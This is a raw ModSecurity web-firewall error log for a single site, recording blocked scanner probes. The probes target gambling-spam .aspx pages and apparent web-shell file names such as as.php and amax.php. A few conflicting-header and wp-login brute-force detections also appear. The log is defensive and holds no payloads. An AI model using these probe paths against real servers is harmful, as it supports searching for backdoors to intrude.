[Wed Apr 22 14:28:13.856654 2026] [:error] [pid 6344:tid 6369] [client 81.167.26.57:6109] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aehqfUDOTF-pkQnDeUl2VQAAABQ"]
[Wed Apr 22 14:28:16.478042 2026] [:error] [pid 6250:tid 6261] [client 81.167.26.57:12309] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aehqgA-iZeQkqmQVfj6tqQAAAEc"]
[Wed Apr 22 14:28:19.084178 2026] [:error] [pid 6250:tid 6276] [client 81.167.26.57:21250] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aehqgw-iZeQkqmQVfj6tswAAAFY"]
[Wed Apr 22 14:28:21.687301 2026] [:error] [pid 6344:tid 6353] [client 81.167.26.57:13489] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aehqhUDOTF-pkQnDeUl2WwAAAAQ"]
[Wed Apr 22 14:28:24.299426 2026] [:error] [pid 6344:tid 6360] [client 81.167.26.57:19133] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aehqiEDOTF-pkQnDeUl2YAAAAAs"]
[Wed Apr 22 14:28:26.929701 2026] [:error] [pid 6384:tid 6388] [client 81.167.26.57:39967] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aehqij58M3t15ICeWHWLCgAAAME"]
[Wed Apr 22 14:28:29.540445 2026] [:error] [pid 9085:tid 9097] [client 81.167.26.57:65421] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aehqjd-_-or9vQnlWnp9IgAAAUo"]
[Wed Apr 22 14:28:32.142705 2026] [:error] [pid 9085:tid 9099] [client 81.167.26.57:51158] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aehqkN-_-or9vQnlWnp9LgAAAUw"]
[Wed Apr 22 14:28:34.770987 2026] [:error] [pid 6251:tid 6295] [client 81.167.26.57:56931] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aehqkisFAzbyObL-SQ42fwAAAIo"]
[Wed Apr 22 14:28:37.387655 2026] [:error] [pid 9085:tid 9111] [client 81.167.26.57:37198] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aehqld-_-or9vQnlWnp9UAAAAVg"]
[Wed Apr 22 14:28:39.989952 2026] [:error] [pid 9085:tid 9110] [client 81.167.26.57:14709] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aehql9-_-or9vQnlWnp9YgAAAVc"]
[Wed Apr 22 14:28:42.616715 2026] [:error] [pid 6384:tid 6395] [client 81.167.26.57:35506] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aehqmj58M3t15ICeWHWLHwAAAMg"]
[Wed Apr 22 14:28:45.219995 2026] [:error] [pid 6250:tid 6264] [client 81.167.26.57:57125] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aehqnQ-iZeQkqmQVfj6tzgAAAEo"]
[Wed Apr 22 14:28:47.846125 2026] [:error] [pid 6250:tid 6258] [client 81.167.26.57:55876] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aehqnw-iZeQkqmQVfj6t0gAAAEQ"]
[Wed Apr 22 14:28:50.466684 2026] [:error] [pid 6344:tid 6372] [client 81.167.26.57:57002] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aehqokDOTF-pkQnDeUl2dAAAABc"]
[Wed Apr 22 14:28:53.093244 2026] [:error] [pid 6384:tid 6394] [client 81.167.26.57:60958] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aehqpT58M3t15ICeWHWLNQAAAMc"]
[Wed Apr 22 14:28:55.718275 2026] [:error] [pid 6384:tid 6387] [client 81.167.26.57:11211] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aehqpz58M3t15ICeWHWLOwAAAMA"]
[Wed Apr 22 14:28:58.200455 2026] [:error] [pid 9085:tid 9105] [client 81.167.26.57:64163] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aehqqt-_-or9vQnlWnp9tAAAAVI"]
[Wed Apr 22 14:29:00.795216 2026] [:error] [pid 6252:tid 6323] [client 81.167.26.57:61269] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aehqrOtGYuiYb1nWBpT7egAAAQs"]
[Wed Apr 22 14:29:54.568110 2026] [:error] [pid 6251:tid 6309] [client 81.167.26.57:59997] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aehq4isFAzbyObL-SQ42xwAAAJg"]
[Wed Apr 22 14:54:31.742632 2026] [:error] [pid 9085:tid 9092] [client 43.166.237.57:60724] [client 43.166.237.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aehwp9-_-or9vQnlWnqOZgAAAUU"]
[Wed Apr 22 17:13:20.437577 2026] [:error] [pid 6251:tid 6296] [client 211.21.61.245:43710] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeiRMCsFAzbyObL-SQ5RgwAAAIs"]
[Wed Apr 22 17:54:53.919489 2026] [:error] [pid 6252:tid 6313] [client 43.153.19.83:57434] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeia7etGYuiYb1nWBpQkfAAAAQE"]
[Wed Apr 22 19:51:24.885282 2026] [:error] [pid 6344:tid 6360] [client 74.248.33.208:50389] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "aei2PEDOTF-pkQnDeUngZAAAAAs"]
[Wed Apr 22 19:51:26.481551 2026] [:error] [pid 9085:tid 9100] [client 74.248.33.208:9810] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "aei2Pt-_-or9vQnlWnpF5wAAAU0"]
[Wed Apr 22 19:51:28.402081 2026] [:error] [pid 9085:tid 9090] [client 74.248.33.208:50373] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "aei2QN-_-or9vQnlWnpF7gAAAUM"]
[Wed Apr 22 19:51:30.697757 2026] [:error] [pid 6384:tid 6410] [client 74.248.33.208:48166] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "aei2Qj58M3t15ICeWHUcFwAAANc"]
[Wed Apr 22 19:51:32.664842 2026] [:error] [pid 9085:tid 9102] [client 74.248.33.208:28618] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aei2RN-_-or9vQnlWnpF9wAAAU8"]
[Wed Apr 22 19:51:36.231955 2026] [:error] [pid 9085:tid 9107] [client 74.248.33.208:36593] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aei2SN-_-or9vQnlWnpF_QAAAVQ"]
[Wed Apr 22 19:51:39.839808 2026] [:error] [pid 9085:tid 9106] [client 74.248.33.208:29709] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aei2S9-_-or9vQnlWnpGCgAAAVM"]
[Wed Apr 22 19:51:41.354524 2026] [:error] [pid 9085:tid 9107] [client 74.248.33.208:43324] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aei2Td-_-or9vQnlWnpGCwAAAVQ"]
[Wed Apr 22 19:51:43.820192 2026] [:error] [pid 6252:tid 6335] [client 74.248.33.208:43525] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aei2T-tGYuiYb1nWBpRDCAAAARc"]
[Wed Apr 22 19:51:49.617922 2026] [:error] [pid 6344:tid 6354] [client 74.248.33.208:50962] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aei2VUDOTF-pkQnDeUngsgAAAAU"]
[Wed Apr 22 19:51:51.763014 2026] [:error] [pid 6251:tid 6285] [client 74.248.33.208:41241] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aei2VysFAzbyObL-SQ5zFgAAAIA"]
[Wed Apr 22 19:51:53.039885 2026] [:error] [pid 9085:tid 9102] [client 74.248.33.208:56269] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aei2Wd-_-or9vQnlWnpGjgAAAU8"]
[Wed Apr 22 19:51:53.794545 2026] [:error] [pid 6250:tid 6265] [client 74.248.33.208:34034] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aei2WQ-iZeQkqmQVfj4ApwAAAEs"]
[Wed Apr 22 19:51:56.503132 2026] [:error] [pid 23776:tid 23786] [client 74.248.33.208:41246] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aei2XLRExf-1pAbSeJvXvgAAAYg"]
[Wed Apr 22 19:51:58.564233 2026] [:error] [pid 6384:tid 6395] [client 74.248.33.208:33370] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aei2Xj58M3t15ICeWHUcfAAAAMg"]
[Wed Apr 22 19:52:01.557870 2026] [:error] [pid 6252:tid 6326] [client 74.248.33.208:41227] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aei2YetGYuiYb1nWBpRDYAAAAQ4"]
[Wed Apr 22 19:52:04.501896 2026] [:error] [pid 6384:tid 6399] [client 74.248.33.208:29031] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "aei2ZD58M3t15ICeWHUcmQAAAMw"]
[Wed Apr 22 19:52:08.733910 2026] [:error] [pid 6384:tid 6404] [client 74.248.33.208:34014] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "aei2aD58M3t15ICeWHUcnwAAANE"]
[Wed Apr 22 19:52:11.504897 2026] [:error] [pid 9085:tid 9091] [client 74.248.33.208:50998] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "aei2a9-_-or9vQnlWnpGqwAAAUQ"]
[Wed Apr 22 19:52:15.678651 2026] [:error] [pid 6344:tid 6361] [client 74.248.33.208:56267] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "aei2b0DOTF-pkQnDeUng7QAAAAw"]
[Wed Apr 22 19:55:08.280667 2026] [:error] [pid 6344:tid 6360] [client 74.248.33.208:55464] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aei3HEDOTF-pkQnDeUnhpwAAAAs"]
[Wed Apr 22 19:55:09.466120 2026] [:error] [pid 9085:tid 9107] [client 74.248.33.208:35772] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aei3Hd-_-or9vQnlWnpIiAAAAVQ"]
[Wed Apr 22 19:55:14.709139 2026] [:error] [pid 9085:tid 9096] [client 74.248.33.208:10072] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aei3It-_-or9vQnlWnpImgAAAUk"]
[Wed Apr 22 19:55:18.858556 2026] [:error] [pid 9085:tid 9094] [client 74.248.33.208:43561] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aei3Jt-_-or9vQnlWnpIsgAAAUc"]
[Wed Apr 22 19:55:23.672872 2026] [:error] [pid 9085:tid 9106] [client 74.248.33.208:40759] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aei3K9-_-or9vQnlWnpIzQAAAVM"]
[Wed Apr 22 19:55:26.566094 2026] [:error] [pid 6344:tid 6357] [client 74.248.33.208:49424] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aei3LkDOTF-pkQnDeUnh1AAAAAg"]
[Wed Apr 22 19:55:29.427800 2026] [:error] [pid 9085:tid 9108] [client 74.248.33.208:49416] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aei3Md-_-or9vQnlWnpI5AAAAVU"]
[Wed Apr 22 19:55:32.271623 2026] [:error] [pid 6384:tid 6395] [client 74.248.33.208:50326] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aei3ND58M3t15ICeWHUd9QAAAMg"]
[Wed Apr 22 19:55:34.773907 2026] [:error] [pid 6384:tid 6392] [client 74.248.33.208:25907] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amwxl.php"] [unique_id "aei3Nj58M3t15ICeWHUd_AAAAMU"]
[Wed Apr 22 19:55:37.525149 2026] [:error] [pid 6384:tid 6407] [client 74.248.33.208:50351] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amwxl.php"] [unique_id "aei3OT58M3t15ICeWHUeAAAAANQ"]
[Wed Apr 22 19:55:39.588462 2026] [:error] [pid 6384:tid 6403] [client 74.248.33.208:24396] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amwxl.php"] [unique_id "aei3Oz58M3t15ICeWHUeDAAAANA"]
[Wed Apr 22 19:55:43.299389 2026] [:error] [pid 9085:tid 9103] [client 74.248.33.208:44453] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amwxl.php"] [unique_id "aei3P9-_-or9vQnlWnpJAAAAAVA"]
